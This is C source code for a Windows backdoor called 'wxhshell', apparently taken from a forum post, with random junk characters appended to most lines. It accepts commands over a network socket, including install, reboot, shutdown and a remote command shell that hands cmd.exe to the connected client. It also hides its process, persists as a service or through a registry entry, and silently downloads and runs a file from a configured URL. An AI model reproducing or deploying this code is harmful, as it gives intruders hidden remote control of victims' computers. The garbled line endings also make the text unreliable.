    switch(cmd[0]) { s]V{}bY`  
  s>"WQ|;6  
  // 帮助 <)0LwkFtB  
  case '?': { 4^jZv$l5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p lz=G}Y  
    break; XQJV.SVS  
  } }gi`?58J6  
  // 安装 @Z1?t%1  
  case 'i': { ua.6?W)  
    if(Install()) I{X@<o}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C'I l w  
    else 16d{IGMz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JqH.QnKcv  
    break; u0$5Fd&X  
    } ]>]H:NEq  
  // 卸载 ;Vtpq3  
  case 'r': { `(w kqa  
    if(Uninstall()) %CfTqbB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tg3%X]  
    else k?@W/}Iv9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OkO@BWL  
    break; zfT'!kb,(  
    } qkyX*_}  
  // 显示 wxhshell 所在路径 EZNB`gO  
  case 'p': { ,"HpV  
    char svExeFile[MAX_PATH]; n B|C-.F  
    strcpy(svExeFile,"\n\r"); ROI$;B(  
      strcat(svExeFile,ExeFile); 4tN~UMw?  
        send(wsh,svExeFile,strlen(svExeFile),0); h^3Vd K,  
    break; E '6 z7m.  
    } &<; nl^  
  // 重启 h hNFp  
  case 'b': { >+W?!9[p:2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KTS7)2ci  
    if(Boot(REBOOT)) 4 9+}OIX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+ H)1Dfq  
    else { n*]x02:LjZ  
    closesocket(wsh); *SpO|*'  
    ExitThread(0); :d/:Ga5v!  
    } <i`K%+<WO  
    break; #IciNCIrG  
    } 3ks|  
  // 关机 hc~#l#  
  case 'd': { +\]S<T*;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D/!G]hx  
    if(Boot(SHUTDOWN)) :O2v0Kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?Oa}&k$F8  
    else { { N8rZ[Oo  
    closesocket(wsh); UW~tS  
    ExitThread(0); JO;` Kz_$  
    } U1@ P/  
    break; d`rDEa  
    } >?Y3WPB<F  
  // 获取shell !-Tmu  
  case 's': { dIe 6:s  
    CmdShell(wsh); cVt$#A)  
    closesocket(wsh); "Mu $3 w  
    ExitThread(0); .cn w?EI  
    break; E"vi+'(v  
  } ]{l O  
  // 退出 ;Q%19f3,6  
  case 'x': { ckkM)|kK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p RfHbPV?  
    CloseIt(wsh); =dJEcC_J  
    break; Mdq'> <ajL  
    } MDXQj5s^  
  // 离开 PfMOc+ q  
  case 'q': { Ay. q)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y K62#;  
    closesocket(wsh); kKTED1MW&W  
    WSACleanup(); ;?[+vf")  
    exit(1); G;.u>92r|  
    break; B=qRZA!DQ?  
        } AF nl t  
  } REe%>|   
  } [}B{e=`!  
{`SGB;ho  
  // 提示信息 z j0pP{y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D"><S<C\C  
} &rE l  
  } X\:(8C;+  
3R96;d;  
  return; {d5ur@G1  
}  AHg4kG  
?@7|Q/  
// shell模块句柄 -)c"cgx.  
int CmdShell(SOCKET sock) l<:)rg^,  
{ eFI9S.6  
STARTUPINFO si; oHGf |  
ZeroMemory(&si,sizeof(si)); *v-xC5L1\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;*TRr><  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $+yQ48Wq  
PROCESS_INFORMATION ProcessInfo; =(uy':Dbn*  
char cmdline[]="cmd"; #pxet  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _p^ "!  
  return 0; w\[*_wQp  
} sJ*U Fm{  
vG=$UUh@~  
// 自身启动模式 LGue=Hkp  
int StartFromService(void) g{.@|;d <p  
{ <\Dl#DH  
typedef struct 8c' -eT"  
{ U\plt%2m>  
  DWORD ExitStatus; s.Ic3ITd,  
  DWORD PebBaseAddress; rY+1s^F  
  DWORD AffinityMask; |0Ug~jKU  
  DWORD BasePriority; 7o%|R2mL}  
  ULONG UniqueProcessId; _z6u^#Si  
  ULONG InheritedFromUniqueProcessId; JN|#   
}   PROCESS_BASIC_INFORMATION; <{~UKi  
;&:Et  
PROCNTQSIP NtQueryInformationProcess; n/|`Dz.  
=Qq^=3@h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tWy<9TF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ty8!"-V1  
JH,fg K+[  
  HANDLE             hProcess; m|?J^_  
  PROCESS_BASIC_INFORMATION pbi; mAERZ<I  
x" =q+sA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ZIRCTQ"  
  if(NULL == hInst ) return 0; P_Ja?)GT  
Tm,L?Jh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q>Q}/{8!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n]g,)m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i2c<q0u  
8 ?R_O}U  
  if (!NtQueryInformationProcess) return 0; \r&@3a.>  
HBYpjxh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ho=]'MS|  
  if(!hProcess) return 0; {:j!@w3  
d|HM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f@X*Tlx^|  
QxL FN(d  
  CloseHandle(hProcess); =C}<0<"iF  
lBC-G*#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zIm!8a  
if(hProcess==NULL) return 0; &xT~;R^  
0(6`dr_  
HMODULE hMod; gx.]4 v  
char procName[255]; 3Q"+ #Ob  
unsigned long cbNeeded; Tj~#Xc  
r\D8_S_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :cz]8~i\  
c3BL2>c  
  CloseHandle(hProcess); NGzqiu"J  
O/~^}8TLL  
if(strstr(procName,"services")) return 1; // 以服务启动 .OUE'5e p  
)eyxAg  
  return 0; // 注册表启动 >gl<$LQ?X  
} vG}oo  
6XU5T5+P^  
// 主模块 u{ d`  
int StartWxhshell(LPSTR lpCmdLine) Q*(C)/QW  
{ Bbp9Q,4  
  SOCKET wsl; IH}L1i A)  
BOOL val=TRUE; ]jrxrUl  
  int port=0; fL:Fn"Nv  
  struct sockaddr_in door; BS.6d}G4  
.`RC,R`C  
  if(wscfg.ws_autoins) Install(); %05a>Rf&  
| Ylk`<  
port=atoi(lpCmdLine); ZJm^znpw6  
"xI[4~'`:  
if(port<=0) port=wscfg.ws_port; ,6L>f.V^(U  
'1nU[,Wj  
  WSADATA data; |Q;1;QXd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T`;M!-)2  
V0(ABi:d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1\kehCt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u'."E7o#  
  door.sin_family = AF_INET; Sa~C#[V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wg&:xff  
  door.sin_port = htons(port); #{1fb%L{i  
)UUe5H6Hd0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r/f;\w7  
closesocket(wsl); \]El%j4  
return 1; iHB)wC`u  
} DVH><3FF  
+.cv,1Vx  
  if(listen(wsl,2) == INVALID_SOCKET) { |SleSgS<#  
closesocket(wsl); 7F~+z7(h  
return 1; h#nQd=H<g#  
} _%B`Y ?I`  
  Wxhshell(wsl); E]Q)pZ{Jb  
  WSACleanup(); BD+?Ad?  
]42 l:at  
return 0; +3CMfYsr8  
7 >(ygu  
} sxtGl^,mU:  
3\7$)p+c  
// 以NT服务方式启动 qiN'Tuw9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2B;QS\e"  
{ t"fD"Xpj  
DWORD   status = 0; 1 doqznO  
  DWORD   specificError = 0xfffffff; K(2s%  
QeoDq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DAi[3`C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t1S~~FLE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qt 2hb  
  serviceStatus.dwWin32ExitCode     = 0; ^p/mJ1/s7  
  serviceStatus.dwServiceSpecificExitCode = 0; cO9Aw!  
  serviceStatus.dwCheckPoint       = 0; 2hP8ZfvIR  
  serviceStatus.dwWaitHint       = 0; ~O6=dR  
Is[0ri   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ":ycyN@g  
  if (hServiceStatusHandle==0) return; 79_MP  
{{\HU0g>&  
status = GetLastError(); Z%R^;8!~  
  if (status!=NO_ERROR) Dl{Pd`D  
{ ,d#4Ib  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W!*vO>^1W  
    serviceStatus.dwCheckPoint       = 0; AbB>ZT>hR  
    serviceStatus.dwWaitHint       = 0; +fN0> @s  
    serviceStatus.dwWin32ExitCode     = status; KMZ`Wn=  
    serviceStatus.dwServiceSpecificExitCode = specificError; rf@81Ds  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]~[~\|a  
    return; [qB=OxH?  
  } @$]h[   
QR4o j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f`e.c_n(  
  serviceStatus.dwCheckPoint       = 0; >Mn.|:DF]&  
  serviceStatus.dwWaitHint       = 0; R0[Gfq9M =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oLoa71Q}  
} 0P42C{>'w  
bkTj Q  
// 处理NT服务事件,比如:启动、停止 ojri~erJE?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lRb)Tz6SE  
{ |a+8-@-Tj  
switch(fdwControl) it$~uP |  
{ 65v'/m!ys  
case SERVICE_CONTROL_STOP: ~WSC6Bh@9  
  serviceStatus.dwWin32ExitCode = 0; $ }53f'QjW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; al/~  
  serviceStatus.dwCheckPoint   = 0; c@`P{ 6  
  serviceStatus.dwWaitHint     = 0; Wj&s5;2a  
  { &n|gPp77$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *O~D lf  
  } G`jhzG  
  return; >\ W" 3.  
case SERVICE_CONTROL_PAUSE: 0dW1I|jR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9EEHLx"  
  break; 4)_ [)MZ\j  
case SERVICE_CONTROL_CONTINUE: OuoZd!"qf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $)3/N&GXR  
  break; {+;8dtZ)x  
case SERVICE_CONTROL_INTERROGATE: l}x{.q7U l  
  break; ZfU_4Pl->  
}; @u^Ib33  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 43Q&<r$[T  
} <9"i_d%  
CJ_B.  
// 标准应用程序主函数 Z5Cv$bUc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4/b#$o<I?  
{  f$3  
y4') !e  
// 获取操作系统版本 IWkBq]Y  
OsIsNt=GetOsVer(); })B)-8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^:BRbp37i  
l< Y x  
  // 从命令行安装 ~$`b{  
  if(strpbrk(lpCmdLine,"iI")) Install(); &N EzKf  
JsV#:  
  // 下载执行文件 {q^KlSjm  
if(wscfg.ws_downexe) { DQSv'!KFO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T(6S~; ,Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); ="`y<J P  
} !E%!,  
,3wo  
if(!OsIsNt) { Vr'Z5F*@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Gfnf%H\8>  
HideProc(); 2rxdRg'YLQ  
StartWxhshell(lpCmdLine); z,)Fvs4U.  
} m#Cp.|>kP4  
else *;Vq0a!  
  if(StartFromService()) m+gVGK  
  // 以服务方式启动 cMj<k8.{  
  StartServiceCtrlDispatcher(DispatchTable); x\*5A,w{c]  
else O1 z>A  
  // 普通方式启动 =c|Bu^(Ctw  
  StartWxhshell(lpCmdLine); =xgW$c/yB  
{PU[MHZF  
return 0; ]n{2cPx5d  
}
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只看该作者 1 发表于: 2006-10-10
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